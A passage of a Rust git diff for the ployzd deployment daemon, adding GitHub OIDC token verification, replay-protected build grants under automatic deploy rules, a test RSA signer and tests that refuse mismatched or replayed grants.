encode(&json!({"alg": "RS256", "kid": kid, "typ": "JWT"})), - encode(claims) - ); - let mut signature = vec![0; signer.public().modulus_len()]; - signer - .sign( - &RSA_PKCS1_SHA256, - &SystemRandom::new(), - signed.as_bytes(), - &mut signature, - ) - .unwrap(); - format!("{signed}.{}", URL_SAFE_NO_PAD.encode(signature)) -} - #[test] fn the_real_token_verifies_at_its_issue_time() { let claims = verify(token(), &github_keys(), issued_at()).unwrap(); diff --git a/core/crates/ployzd/src/github/test_support.rs b/core/crates/ployzd/src/github/test_support.rs new file mode 100644 index 0000000000..74801fd140 --- /dev/null +++ b/core/crates/ployzd/src/github/test_support.rs @@ -0,0 +1,63 @@ +//! A test RSA signer GitHub's key set is extended with, so tests sign tokens of their own. + +use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD}; +use ring::{ + rand::SystemRandom, + signature::{RSA_PKCS1_SHA256, RsaKeyPair, RsaPublicKeyComponents}, +}; +use serde_json::{Value, json}; + +use super::oidc::KeySet; + +const JWKS: &[u8] = include_bytes!("fixtures/jwks.json"); +/// An RSA key made with `openssl genpkey` for these tests. It signs nothing outside them. +const TEST_SIGNER: &[u8] = include_bytes!("fixtures/test-signer.pk8"); +pub(crate) const TEST_KID: &str = "test-signer"; +/// The real token's claims, which tests change one at a time. +pub(crate) const CLAIMS: &str = include_str!("fixtures/claims.json"); + +pub(crate) fn encode(value: &Value) -> String { + URL_SAFE_NO_PAD.encode(serde_json::to_vec(value).expect("JSON encodes")) +} + +pub(crate) fn test_signer() -> RsaKeyPair { + RsaKeyPair::from_pkcs8(TEST_SIGNER).expect("the test signer is PKCS#8") +} + +/// GitHub's keys with the test signer's added under [`TEST_KID`]. +#[expect(clippy::indexing_slicing, reason = "JSON fixture")] +pub(crate) fn keys_with_test_signer() -> KeySet { + let public = RsaPublicKeyComponents::>::from(test_signer().public()); + let mut jwks: Value = serde_json::from_slice(JWKS).expect("the fixture JWKS is JSON"); + jwks["keys"] + .as_array_mut() + .expect("a JWKS holds keys") + .push(json!({ + "kty": "RSA", + "alg": "RS256", + "kid": TEST_KID, + "n": URL_SAFE_NO_PAD.encode(&public.n), + "e": URL_SAFE_NO_PAD.encode(&public.e), + })); + KeySet::parse(&serde_json::to_vec(&jwks).expect("JSON encodes")).expect("the JWKS parses") +} + +/// A token over `claims`, RS256-signed by the test signer and naming `kid`. +pub(crate) fn signed_by_test_signer(kid: &str, claims: &Value) -> String { + let signer = test_signer(); + let signed = format!( + "{}.{}", + encode(&json!({"alg": "RS256", "kid": kid, "typ": "JWT"})), + encode(claims) + ); + let mut signature = vec![0; signer.public().modulus_len()]; + signer + .sign( + &RSA_PKCS1_SHA256, + &SystemRandom::new(), + signed.as_bytes(), + &mut signature, + ) + .expect("the test signer signs"); + format!("{signed}.{}", URL_SAFE_NO_PAD.encode(signature)) +} diff --git a/core/crates/ployzd/src/machine/local_machine.rs b/core/crates/ployzd/src/machine/local_machine.rs index 2b1e1c0c7a..0ffba00cd7 100644 --- a/core/crates/ployzd/src/machine/local_machine.rs +++ b/core/crates/ployzd/src/machine/local_machine.rs @@ -83,6 +83,7 @@ mod join_approval; mod management_client; mod push_target; pub(super) mod restart_approval; +pub(crate) mod rule_grant; mod sealing; pub(crate) use sealing::Error as SealingError; mod sealing_recovery; @@ -190,6 +191,16 @@ pub enum Error { /// approval. The refusal names [`ployz_core::DEPLOY_APPROVAL_CAPABILITY`] in its details. #[error("{}", deploy_approval::refusal_text(.0))] DeployRefused(ployz_core::authority::AuthorityRefusal), + /// A rule build's grant failed a check before anything opened. The refusal names + /// [`ployz_core::BUILD_GRANT_RULE_CAPABILITY`] in its details. + #[error("This Server refused the rule build's grant: {0}")] + RuleGrantRefused(ployz_core::authority::AuthorityRefusal), + /// GitHub did not prove a rule build: its token failed to verify or match the rule. + #[error("This Server refused the rule build's GitHub token")] + RuleProofRefused(#[source] crate::github::oidc::ProofRefusal), + /// This Server could not read the approved branch's head from GitHub. + #[error("This Server could not read the approved branch's head from GitHub")] + RuleHeadUnread(#[source] crate::github::head::HeadError), /// Device enforcement refused an Operator's `Build` or `MintBuildGrant`. The refusal /// names `capability` in its details. #[error("{}", ployz_core::BUILD_REFUSED_BY_ENFORCEMENT)] diff --git a/core/crates/ployzd/src/machine/local_machine/deploy_approval.rs b/core/crates/ployzd/src/machine/local_machine/deploy_approval.rs index 186a644e80..2b2c45ee99 100644 --- a/core/crates/ployzd/src/machine/local_machine/deploy_approval.rs +++ b/core/crates/ployzd/src/machine/local_machine/deploy_approval.rs @@ -240,7 +240,8 @@ pub(super) fn refusal_text(refusal: &AuthorityRefusal) -> String { | AuthorityRefusal::BadSignature { .. } | AuthorityRefusal::ApproveOnly { .. } | AuthorityRefusal::Mismatch { .. } - | AuthorityRefusal::NoClusterIdentity => { + | AuthorityRefusal::NoClusterIdentity + | AuthorityRefusal::ProofReplayed => { return format!("This server can't check the deploy's approval: {refusal}."); } }; diff --git a/core/crates/ployzd/src/machine/local_machine/restart_approval.rs b/core/crates/ployzd/src/machine/local_machine/restart_approval.rs index 38b6c93240..c94509cd36 100644 --- a/core/crates/ployzd/src/machine/local_machine/restart_approval.rs +++ b/core/crates/ployzd/src/machine/local_machine/restart_approval.rs @@ -14,8 +14,8 @@ use ployz_core::{ LocalMachinePhase, ManagementScope, OperationId, RunTarget, Sealing, ServiceName, SetDeviceEnforcementRequest, authority::{ - AuthorityRefusal, DeployApproval, Purpose, RestartApproval, RestartFacts, RestartStep, - Signed, StartingSet, Timestamp, restart, starting_set, + AuthorityRefusal, AutoDeployRule, DeployApproval, Purpose, RestartApproval, RestartFacts, + RestartStep, RuleId, Signed, StartingSet, Timestamp, restart, starting_set, }, }; use serde::{Deserialize, Serialize}; @@ -223,10 +223,27 @@ struct Consumption { joins: BTreeMap, #[serde(default)] expiry_time_floor: Option, + /// What this Machine saw first and highest of each automatic deploy rule. + #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] + rules: BTreeMap, + /// GitHub tokens that minted a Build Grant, by SHA-256 of their `jti`, until they + /// expire. + #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] + proofs: BTreeMap, #[serde(flatten)] operations: BTreeMap, } +/// A rule's identity as this Machine first saw it, which no later generation may change, +/// and the highest generation it has seen. +#[derive(Clone, Debug, Deserialize, Serialize)] +struct RuleMark { + generation: u64, + repository_id: u64, + branch: String, + namespace: ployz_core::Namespace, +} + #[derive(Clone, Debug, Deserialize, Serialize)] pub(crate) struct JoinResult { pub approval: Signed, @@ -589,6 +606,77 @@ impl ConsumptionLog { Ok(()) } + /// Spend the GitHub token `jti`, valid until `expires_at`, on a grant under `rule`. + /// Refuses a token already spent, a generation lower than the highest this Machine has + /// seen of the rule, and a generation that moves the rule to another repository, + /// branch or Namespace. Raises the rule's mark. Written before the grant is minted, so + /// a crash after it costs the builder a new token, never a second grant. + pub(crate) fn consume_rule_proof( + &self, + rule: &AutoDeployRule, + jti: &str, + expires_at: Timestamp, + now: Timestamp, + ) -> Result<(), Error> { + let mut guard = self + .operations + .lock() + .unwrap_or_else(|poisoned| poisoned.into_inner()); + if guard.is_none() { + *guard = Some(self.load().map_err(Error::ApprovalRecord)?); + } + let consumption = guard.as_ref().expect("loaded above"); + let now = consumption + .expiry_time_floor + .map_or(now, |floor| now.max(floor)); + let refused = |field| { + Err(Error::RuleGrantRefused(AuthorityRefusal::Mismatch { + field, + })) + }; + if let Some(mark) = consumption.rules.get(&rule.rule) { + if rule.generation < mark.generation { + return refused("a generation"); + } + if rule.source.repository_id != mark.repository_id { + return refused("a repository"); + } + if rule.source.branch != mark.branch { + return refused("a branch"); + } + if rule.namespace != mark.namespace { + return refused("a Namespace"); + } + } + let spent = hex::encode(Sha256::digest(jti.as_bytes())); + if consumption.proofs.contains_key(&spent) { + return Err(Error::RuleGrantRefused(AuthorityRefusal::ProofReplayed)); + } + let mut updated = consumption.clone(); + updated.expiry_time_floor = Some(now); + updated.proofs.retain(|_, expires| { + expires.plus(ployz_core::authority::validity::CLOCK_SKEW_MILLIS) >= now + }); + updated.proofs.insert(spent, expires_at); + let mark = updated.rules.entry(rule.rule).or_insert_with(|| RuleMark { + generation: rule.generation, + repository_id: rule.source.repository_id, + branch: rule.source.branch.clone(), + namespace: rule.namespace.clone(), + }); + mark.generation = mark.generation.max(rule.generation); + let written = serde_json::to_vec(&updated) + .map_err(io::Error::other) + .and_then(|contents| crate::filesystem::atomic_write(&self.path, &contents, 0o600)) + .map_err(Error::ApprovalRecord); + if let Err(error) = written { + *guard = None; + return Err(error); + } + *guard = Some(updated); + Ok(()) + } + fn load(&self) -> io::Result { match std::fs::read(&self.path) { Ok(contents) => serde_json::from_slice(&contents).map_err(io::Error::other), diff --git a/core/crates/ployzd/src/machine/local_machine/rule_grant.rs b/core/crates/ployzd/src/machine/local_machine/rule_grant.rs new file mode 100644 index 0000000000..3498b95077 --- /dev/null +++ b/core/crates/ployzd/src/machine/local_machine/rule_grant.rs @@ -0,0 +1,262 @@ +//! A Build Grant under an automatic deploy rule: every check a grant Machine runs on its +//! own facts before it opens the build's Sealed record. +//! +//! The rule's signature, this Machine's place in it, the GitHub token and its claims, the +//! audience recomputed from what this Machine holds, the commit's authority read from +//! GitHub now, and the Sealed record's digest all pass first. Then the token is spent. +//! Nothing here opens a Sealed value, and nothing trusts Cloud's word for a fact. + +use std::future::Future; + +use ployz_core::{ + BuildGrantId, GithubToken, RuleGrant, SealedRecord, + authority::{ + AuthorityRefusal, AutoDeployRule, BuildClaim, BuildStage, CommitAuthority, CommitSha, + GithubClaims, PolicyDigest, RecipientKey, SealedDigest, Timestamp, rule::verify_signature, + }, +}; + +use super::{Error, LocalMachine}; +use crate::github::{ + head::{GithubApi, HeadError}, + oidc::{IssuerKeys, ProofRefusal}, +}; + +/// What a rule grant learns from GitHub: a token's verified claims and a branch head. +pub(crate) trait Github: Sync { + /// The claims of `token` once its signature, issuer, lifetime and every claim `rule` + /// names check out at `now`. + fn claims( + &self, + rule: &AutoDeployRule, + token: &str, + now: Timestamp, + ) -> impl Future> + Send; + + /// The commit `branch` of repository `repository_id` points at now. + fn head( + &self, + repository_id: u64, + branch: &str, + reader: Option<&GithubToken>, + ) -> impl Future> + Send; +} + +/// GitHub itself: its issuer's keys over TLS, and `api.github.com`. +pub(crate) struct GithubOnline { + keys: IssuerKeys, + api: GithubApi, +} + +impl GithubOnline { + /// The daemon's one client, so every grant shares the cached key set. `None` when the + /// HTTPS client could not be built, which refuses every rule grant. + pub(crate) fn shared() -> Option<&'static Self> { + static SHARED: std::sync::OnceLock> = std::sync::OnceLock::new(); + SHARED + .get_or_init(|| match (IssuerKeys::github(), GithubApi::github()) { + (Ok(keys), Ok(api)) => Some(Self { keys, api }), + (Err(error), _) => { + tracing::warn!(%error, "could not build the GitHub token key client"); + None + } + (_, Err(error)) => { + tracing::warn!(%error, "could not build the GitHub API client"); + None + } + }) + .as_ref() + } +} + +impl Github for GithubOnline { + async fn claims( + &self, + rule: &AutoDeployRule, + token: &str, + now: Timestamp, + ) -> Result { + self.keys.check(rule, token, now).await + } + + async fn head( + &self, + repository_id: u64, + branch: &str, + reader: Option<&GithubToken>, + ) -> Result { + let reader = + reader.map(|token| crate::github::head::GithubToken::new(token.as_str().into())); + self.api + .branch_head(repository_id, branch, reader.as_ref()) + .await + } +} + +/// GitHub as a test fixes it: tokens verify against `keys` at `now`, and every branch +/// points at `head`. +#[cfg(test)] +pub(crate) struct FixedGithub { + pub(crate) keys: crate::github::oidc::KeySet, + pub(crate) head: CommitSha, + pub(crate) now: Timestamp, +} + +#[cfg(test)] +impl FixedGithub { + /// The clock a test's tokens are valid at, in place of `_now`. + pub(crate) const fn now(&self, _now: Timestamp) -> Timestamp { + self.now + } +} + +#[cfg(test)] +impl Github for FixedGithub { + async fn claims( + &self, + rule: &AutoDeployRule, + token: &str, + now: Timestamp, + ) -> Result { + let claims = + crate::github::oidc::verify(token, &self.keys, now).map_err(ProofRefusal::Token)?; + rule.verify_claims(&claims).map_err(ProofRefusal::Claim)?; + Ok(claims) + } + + async fn head( + &self, + _repository_id: u64, + _branch: &str, + _reader: Option<&GithubToken>, + ) -> Result { + Ok(self.head) + } +} + +/// A rule grant every check passed, its token spent: what the minted grant remembers and +/// seals its build secrets under. +#[derive(Clone, Debug, Eq, PartialEq)] +pub(crate) struct AdmittedRule { + pub(crate) recipient: RecipientKey, + /// The grant token's audience, which binds the sealed response to this one build. + pub(crate) audience: String, + pub(crate) rule: ployz_core::authority::RuleId, + pub(crate) generation: u64, + pub(crate) service: ployz_core::ServiceName, + pub(crate) commit: CommitSha, +} + +impl LocalMachine { + /// Admit a grant for `holder` under `grant`'s rule, with `sealed` the record Cloud + /// relays, at `now`. Every check runs before anything opens, in the order + /// `d-build-proof.md` lists them, and the token is spent last. + /// + /// # Errors + /// Returns [`Error::RuleGrantRefused`] naming what does not match, + /// [`Error::RuleProofRefused`] for a token GitHub did not sign or that names another + /// repository, ref, event, workflow, builder or runner, [`Error::RuleHeadUnread`] + /// when GitHub does not answer for the branch head, and [`Error::ApprovalRecord`] when + /// the spent token cannot be recorded. + pub(crate) async fn admit_rule_grant( + &self, + grant: &RuleGrant, + holder: Option<&BuildGrantId>, + sealed: Option<&SealedRecord>, + github: &impl Github, + now: Timestamp, + ) -> Result { + let refused = |field| Error::RuleGrantRefused(AuthorityRefusal::Mismatch { field }); + let record = self.record(); + let (rule, _) = verify_signature(&grant.rule, &record.trusted_keys(), now) + .map_err(Error::RuleGrantRefused)?; + let cluster = + self.held_sealing(record.phase()) + .and_then(|sealing| match sealing { + ployz_core::Sealing::Held { public_key } => Some(public_key), + ployz_core::Sealing::NeedsAccess + | ployz_core::Sealing::AwaitsRecovery { .. } => None, + }) + .ok_or(Error::RuleGrantRefused(AuthorityRefusal::NoClusterIdentity))?; + if rule.cluster != cluster { + return Err(refused("a Cluster")); + } + record.machine().ok_or(Error::NotParticipating)?; + if !rule.machines.contains(&record.id()) { + return Err(refused("a Machine")); + } + if rule.ended { + return Err(refused("an ended rule")); + } + let service = rule.service(&grant.service).ok_or(refused("a Service"))?; + let holder = holder.ok_or(refused("a holder"))?; + let claims = github + .claims(&rule, grant.proof.as_str(), now) + .await + .map_err(Error::RuleProofRefused)?; + let expected = BuildClaim { + cluster, + rule: rule.rule, + generation: rule.generation, + service: grant.service.clone(), + policy: PolicyDigest::of(&service.policy).map_err(|_| refused("a policy"))?, + commit: grant.commit, + authority: grant.authority, + stage: BuildStage::Grant { + holder: *holder, + recipient: grant.recipient, + }, + }; + let audience = expected.audience().map_err(|_| refused("an audience"))?; + if claims.aud != audience { + tracing::warn!(rule = %rule.rule, claim = "aud", "refused a rule build's grant"); + return Err(refused("an audience")); + } + match grant.authority { + CommitAuthority::Head => { + if grant.commit != claims.sha { + return Err(refused("a commit")); + } + let head = github + .head( + rule.source.repository_id, + &rule.source.branch, + grant.reader.as_ref(), + ) + .await + .map_err(Error::RuleHeadUnread)?; + if head != grant.commit { + return Err(refused("a commit")); + } + } + } + let digest = sealed + .map(SealedDigest::of) + .transpose() + .map_err(|_| refused("the Sealed values"))?; + if digest != service.secrets { + return Err(refused("the Sealed values")); + } + self.approvals + .consume_rule_proof(&rule, &claims.jti, claims.exp, now)?; + tracing::info!( + rule = %rule.rule, + generation = rule.generation, + service = %grant.service, + commit = %grant.commit, + "admitted a rule build's grant" + ); + Ok(AdmittedRule { + recipient: grant.recipient, + audience, + rule: rule.rule, + generation: rule.generation, + service: grant.service.clone(), + commit: grant.commit, + }) + } +} + +#[cfg(test)] +#[path = "rule_grant_tests.rs"] +pub(crate) mod tests; diff --git a/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs b/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs new file mode 100644 index 0000000000..37fff49a3d --- /dev/null +++ b/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs @@ -0,0 +1,503 @@ +#![expect(clippy::indexing_slicing, reason = "JSON fixtures")] + +use std::collections::BTreeMap; + +use ployz_core::{ + BuildGrantRepository, DeviceKey, EnvValue, MachineName, MintBuildGrantRequest, Namespace, + SealedScope, SealingPublicKey, ServiceName, + authority::{ + BuildPolicy, PayloadDigest, RuleId, RuleService, Signed, Signer, SignerKey, + rule::{Builder, PolicyCache, PolicyMethod, RuleEvent, RuleSource, Runner}, + }, +}; +use serde_json::{Value, json}; + +use super::*; +use crate::{ + github::test_support::{CLAIMS, TEST_KID, keys_with_test_signer, signed_by_test_signer}, + machine::{LocalMachineStore, RecordOwner}, + management::build_grant::Mint, + sealed_env::test_support::Cluster, +}; + +const BUILDER_SHA: &str = "1234567890abcdef1234567890abcdef12345678"; +const COMMIT: &str = "54dfcf4a46870fa09f5d5d6c965dd705c1a24e5c"; +const MARKER: &str = "marker-sealed-rule-0123"; + +struct Fixture { + machine: LocalMachine, + signer: Signer, + cluster: SealingPublicKey, + /// The Sealing Key the Machine holds, in a directory of its own. + sealing: Cluster, + /// The build's one Sealed record: sealing again would change its digest. + record: SealedRecord, + _data_dir: crate::test_dir::TestDir, +} + +async fn fixture() -> Fixture { + let sealing = Cluster::new(); + let data_dir = crate::test_dir::TestDir::new("rule-grant"); + let mut store = LocalMachineStore::open(&data_dir.0).unwrap(); + store + .enroll(ployz_core::EnrollRequest { + role: ployz_core::EnrollAs::Founder { + initial_policy: Default::default(), + name: MachineName::parse("local").unwrap(), + cluster_network: "10.210.0.0/16".parse().unwrap(), + public_ip: None, + advertised_endpoints: vec![ployz_core::AdvertisedEndpoint( + "192.0.2.1:51820".parse().unwrap(), + )], + grant: None, + }, + wireguard_mtu: None, + pinned: Default::default(), + }) + .unwrap(); + // One key for both: the Machine's own and the one its runtime opens values with. + std::fs::copy( + sealing.dir.0.join("sealing.key"), + data_dir.0.join("sealing.key"), + ) + .unwrap(); + let owner = RecordOwner::spawn(store).unwrap(); + let signer = Signer::from_seed(&[7; 32]); + let device = DeviceKey::from(signer.public()); + owner + .mutate(move |store| { + store.approve_device(device).unwrap(); + store.set_device_enforcement(true, Vec::new()).unwrap(); + }) + .await + .unwrap(); + let cluster = crate::sealing_key::SealingKey::load(&data_dir.0) + .unwrap() + .unwrap() + .public_key(); + let env = BTreeMap::from([( + "NPM_TOKEN".to_owned(), + EnvValue::Sealed(sealing.seal("NPM_TOKEN", SealedScope::Shared, MARKER)), + )]); + let record = sealing.open(env).unwrap().record.unwrap(); + Fixture { + machine: LocalMachine::new(owner), + signer, + cluster, + sealing, + record, + _data_dir: data_dir, + } +} + +fn claims() -> Value { + serde_json::from_str(CLAIMS).unwrap() +} + +fn now() -> Timestamp { + Timestamp::from_millis(claims()["iat"].as_u64().unwrap() * 1000).unwrap() +} + +pub(crate) fn web() -> ServiceName { + ServiceName::parse("web").unwrap() +} + +pub(crate) fn commit() -> CommitSha { + CommitSha::parse(COMMIT).unwrap() +} + +fn policy() -> BuildPolicy { + BuildPolicy { + method: PolicyMethod::Dockerfile { + path: "Dockerfile".to_owned(), + }, + context: ".".to_owned(), + target: None, + args: BTreeMap::new(), + secrets: ["NPM_TOKEN".to_owned()].into(), + platforms: ["linux/amd64".to_owned()].into(), + cache: PolicyCache::Off, + } +} + +pub(crate) fn holder() -> BuildGrantId { + BuildGrantId::parse(hex::encode([3u8; 32])).unwrap() +} + +fn recipient() -> RecipientKey { + RecipientKey::from_bytes([4; 32]) +} + +/// A rule over `record` for `cluster`, naming `machine` and signed by `signer`. +pub(crate) fn rule_for( + cluster: SealingPublicKey, + machine: ployz_core::MachineId, + signer: &Signer, + record: &SealedRecord, +) -> AutoDeployRule { + AutoDeployRule { + cluster, + rule: RuleId::from_bytes([0x11; 16]), + generation: 3, + namespace: Namespace::parse("app").unwrap(), + machines: vec![machine], + source: RuleSource { + repository_id: 1_450_985_696, + owner_id: 354_323_584, + repository: "Ployz-test/lab-service".to_owned(), + branch: "main".to_owned(), + workflow: ".github/workflows/ployz-build.yml".to_owned(), + events: vec![RuleEvent::Push, RuleEvent::WorkflowDispatch], + builder: Builder { + r#ref: format!("Ployz-test/build/.github/workflows/build.yml@{BUILDER_SHA}"), + sha: CommitSha::parse(BUILDER_SHA).unwrap(), + }, + runner: Runner::GithubHosted, + }, + services: vec![RuleService { + name: web(), + template: PayloadDigest::parse(&"ab".repeat(32)).unwrap(), + policy: policy(), + secrets: Some(SealedDigest::of(record).unwrap()), + }], + issued_at: Timestamp::from_millis(now().as_millis() - 60_000).unwrap(), + ended: false, + signer: SignerKey::Device(signer.public().into()), + } +} + +/// The grant claim a build of [`commit`] under `rule` asks its token for. +pub(crate) fn claim_for(cluster: SealingPublicKey, rule: &AutoDeployRule) -> BuildClaim { + BuildClaim { + cluster, + rule: rule.rule, + generation: rule.generation, + service: web(), + policy: PolicyDigest::of(&policy()).unwrap(), + commit: commit(), + authority: CommitAuthority::Head, + stage: BuildStage::Grant { + holder: holder(), + recipient: recipient(), + }, + } +} + +/// A token for `claim`'s audience whose claims the fixture rule approves, spent once as +/// `jti`. +pub(crate) fn token_for(claim: &BuildClaim, jti: &str) -> String { + let mut claims = claims(); + claims["aud"] = json!(claim.audience().unwrap()); + claims["jti"] = json!(jti); + claims["event_name"] = json!("push"); + claims["workflow_ref"] = + json!("Ployz-test/lab-service/.github/workflows/ployz-build.yml@refs/heads/main"); + claims["job_workflow_ref"] = json!(format!( + "Ployz-test/build/.github/workflows/build.yml@{BUILDER_SHA}" + )); + claims["job_workflow_sha"] = json!(BUILDER_SHA); + claims["sha"] = json!(COMMIT); + signed_by_test_signer(TEST_KID, &claims) +} + +/// What the builder sends for `rule`, signed by `signer`, with `token` as its proof. +pub(crate) fn grant_for(rule: &AutoDeployRule, signer: &Signer, token: String) -> RuleGrant { + RuleGrant { + rule: Signed::sign(rule, signer).unwrap(), + proof: GithubToken::new(token), + service: web(), + commit: commit(), + authority: CommitAuthority::Head, + recipient: recipient(), + reader: None, + } +} + +/// GitHub as the fixture tokens expect it, with the branch at `head`. +pub(crate) fn github(head: CommitSha) -> FixedGithub { + FixedGithub { + keys: keys_with_test_signer(), + head, + now: now(), + } +} + +impl Fixture { + fn record(&self) -> SealedRecord { + self.record.clone() + } + + fn rule(&self) -> AutoDeployRule { + rule_for( + self.cluster, + self.machine.record().id(), + &self.signer, + &self.record, + ) + } + + fn claim(&self, rule: &AutoDeployRule) -> BuildClaim { + claim_for(self.cluster, rule) + } + + fn token(&self, claim: &BuildClaim, jti: &str) -> String { + token_for(claim, jti) + } + + fn grant(&self, rule: &AutoDeployRule, token: String) -> RuleGrant { + grant_for(rule, &self.signer, token) + } + + async fn admit( + &self, + grant: &RuleGrant, + holder: &BuildGrantId, + sealed: Option<&SealedRecord>, + head: CommitSha, + ) -> Result { + self.machine + .admit_rule_grant(grant, Some(holder), sealed, &github(head), now()) + .await + } + + /// Admit the fixture's valid grant with `change` applied to the rule, the claim the + /// token names, and the grant the builder sends. + async fn admit_changed( + &self, + jti: &str, + change: impl FnOnce(&mut AutoDeployRule, &mut BuildClaim, &mut RuleGrant), + ) -> Result { + let mut rule = self.rule(); + let mut claim = self.claim(&rule); + let mut grant = self.grant(&rule, String::new()); + change(&mut rule, &mut claim, &mut grant); + grant.proof = GithubToken::new(self.token(&claim, jti)); + grant.rule = Signed::sign(&rule, &self.signer).unwrap(); + self.admit(&grant, &holder(), Some(&self.record()), commit()) + .await + } +} + +#[track_caller] +fn refused(result: Result, field: &str) { + match result { + Err(Error::RuleGrantRefused(AuthorityRefusal::Mismatch { field: named })) => { + assert_eq!(named, field); + } + other => panic!("expected a refusal naming {field}, got {other:?}"), + } +} + +#[tokio::test] +async fn a_valid_token_mints_and_its_secrets_open_only_for_the_build() { + let fixture = fixture().await; + let rule = fixture.rule(); + let claim = fixture.claim(&rule); + let grant = fixture.grant(&rule, fixture.token(&claim, "valid")); + let admitted = fixture + .admit(&grant, &holder(), Some(&fixture.record()), commit()) + .await + .unwrap(); + assert_eq!(admitted.audience, claim.audience().unwrap()); + assert_eq!(admitted.commit, commit()); + let mint = Mint::check_admitted( + MintBuildGrantRequest { + repository: BuildGrantRepository::parse("ployz-build/web").unwrap(), + holder: Some(holder()), + sealed: Some(fixture.record()), + rule: Some(grant), + }, + Some(&fixture.sealing.dir.0), + Some(admitted), + ); + assert!(mint.is_ok(), "{:?}", mint.err()); +} + +#[tokio::test] +async fn a_grant_token_is_spent_once() { + let fixture = fixture().await; + let rule = fixture.rule(); + let grant = fixture.grant(&rule, fixture.token(&fixture.claim(&rule), "once")); + let record = fixture.record(); + fixture + .admit(&grant, &holder(), Some(&record), commit()) + .await + .unwrap(); + let again = fixture + .admit(&grant, &holder(), Some(&record), commit()) + .await; + assert!( + matches!( + again, + Err(Error::RuleGrantRefused(AuthorityRefusal::ProofReplayed)) + ), + "{again:?}" + ); +} + +#[tokio::test] +async fn another_holder_in_the_audience_is_refused() { + let fixture = fixture().await; + let result = fixture + .admit_changed("holder", |_, claim, _| { + claim.stage = BuildStage::Grant { + holder: BuildGrantId::parse(hex::encode([5u8; 32])).unwrap(), + recipient: recipient(), + }; + }) + .await; + refused(result, "an audience"); +} + +#[tokio::test] +async fn another_recipient_is_refused() { + let fixture = fixture().await; + let result = fixture + .admit_changed("recipient", |_, _, grant| { + grant.recipient = RecipientKey::from_bytes([6; 32]); + }) + .await; + refused(result, "an audience"); +} + +#[tokio::test] +async fn another_policy_in_the_audience_is_refused() { + let fixture = fixture().await; + let result = fixture + .admit_changed("policy", |_, claim, _| { + let mut policy = policy(); + policy.args.insert("EXTRA".to_owned(), "1".to_owned()); + claim.policy = PolicyDigest::of(&policy).unwrap(); + }) + .await; + refused(result, "an audience"); +} + +#[tokio::test] +async fn a_sealed_record_the_rule_does_not_name_is_refused() { + let fixture = fixture().await; + let rule = fixture.rule(); + let grant = fixture.grant(&rule, fixture.token(&fixture.claim(&rule), "sealed")); + let other = BTreeMap::from([( + "NPM_TOKEN".to_owned(), + EnvValue::Sealed( + fixture + .sealing + .seal("NPM_TOKEN", SealedScope::Shared, "another"), + ), + )]); + let other = fixture.sealing.open(other).unwrap().record.unwrap(); + refused( + fixture + .admit(&grant, &holder(), Some(&other), commit()) + .await, + "the Sealed values", + ); + refused( + fixture.admit(&grant, &holder(), None, commit()).await, + "the Sealed values", + ); +} + +#[tokio::test] +async fn a_generation_below_the_highest_seen_is_refused() { + let fixture = fixture().await; + fixture + .admit_changed("gen-4", |rule, claim, _| { + rule.generation = 4; + claim.generation = 4; + }) + .await + .unwrap(); + let result = fixture.admit_changed("gen-3", |_, _, _| {}).await; + refused(result, "a generation"); +} + +#[tokio::test] +async fn an_ended_rule_is_refused() { + let fixture = fixture().await; + let result = fixture + .admit_changed("ended", |rule, _, _| rule.ended = true) + .await; + refused(result, "an ended rule"); +} + +#[tokio::test] +async fn a_machine_the_rule_does_not_name_is_refused() { + let fixture = fixture().await; + let result = fixture + .admit_changed("machine", |rule, _, _| { + rule.machines = vec![ployz_core::MachineId::parse("1".repeat(32)).unwrap()]; + }) + .await; + refused(result, "a Machine"); +} + +#[tokio::test] +async fn a_head_that_moved_is_refused() { + let fixture = fixture().await; + let rule = fixture.rule(); + let grant = fixture.grant(&rule, fixture.token(&fixture.claim(&rule), "head")); + let newer = CommitSha::parse(&"9".repeat(40)).unwrap(); + refused( + fixture + .admit(&grant, &holder(), Some(&fixture.record()), newer) + .await, + "a commit", + ); +} + +#[tokio::test] +async fn a_commit_other_than_the_one_github_ran_is_refused_under_head() { + let fixture = fixture().await; + let fork = CommitSha::parse(&"7".repeat(40)).unwrap(); + let result = fixture + .admit_changed("commit-input", |_, claim, grant| { + claim.commit = fork; + grant.commit = fork; + }) + .await; + refused(result, "a commit"); +} + +#[tokio::test] +async fn a_rule_signed_by_a_key_this_machine_does_not_trust_is_refused() { + let fixture = fixture().await; + let rule = fixture.rule(); + let mut grant = fixture.grant(&rule, fixture.token(&fixture.claim(&rule), "untrusted")); + let stranger = Signer::from_seed(&[9; 32]); + let mut stranger_rule = rule; + stranger_rule.signer = SignerKey::Device(stranger.public().into()); + grant.rule = Signed::sign(&stranger_rule, &stranger).unwrap(); + let result = fixture + .admit(&grant, &holder(), Some(&fixture.record()), commit()) + .await; + assert!( + matches!(result, Err(Error::RuleGrantRefused(_))), + "{result:?}" + ); +} + +#[tokio::test] +async fn a_token_for_another_branch_is_refused_naming_ref() { + let fixture = fixture().await; + let rule = fixture.rule(); + let mut claims = claims(); + claims["aud"] = json!(fixture.claim(&rule).audience().unwrap()); + claims["jti"] = json!("attacker"); + claims["event_name"] = json!("workflow_dispatch"); + claims["ref"] = json!("refs/heads/attacker"); + let grant = fixture.grant(&rule, signed_by_test_signer(TEST_KID, &claims)); + let result = fixture + .admit(&grant, &holder(), Some(&fixture.record()), commit()) + .await; + assert!( + matches!( + result, + Err(Error::RuleProofRefused(ProofRefusal::Claim( + AuthorityRefusal::Mismatch { field: "ref" } + ))) + ), + "{result:?}" + ); +} diff --git a/core/crates/ployzd/src/machine/mod.rs b/core/crates/ployzd/src/machine/mod.rs index 776f257705..24fa05d30a 100644 --- a/core/crates/ployzd/src/machine/mod.rs +++ b/core/crates/ployzd/src/machine/mod.rs @@ -28,7 +28,7 @@ mod record_wire; use record_wire::LocalMachineRecordWire; mod ingress; -mod local_machine; +pub(crate) mod local_machine; mod record_owner; mod store; diff --git a/core/crates/ployzd/src/machine_api/local.rs b/core/crates/ployzd/src/machine_api/local.rs index f8071dc214..bab14b2880 100644 --- a/core/crates/ployzd/src/machine_api/local.rs +++ b/core/crates/ployzd/src/machine_api/local.rs @@ -48,9 +48,38 @@ pub struct MachineService { pub(crate) published_routes: tokio::sync::watch::Receiver, /// This Machine's observation of its mesh path to each peer. pub(crate) paths: 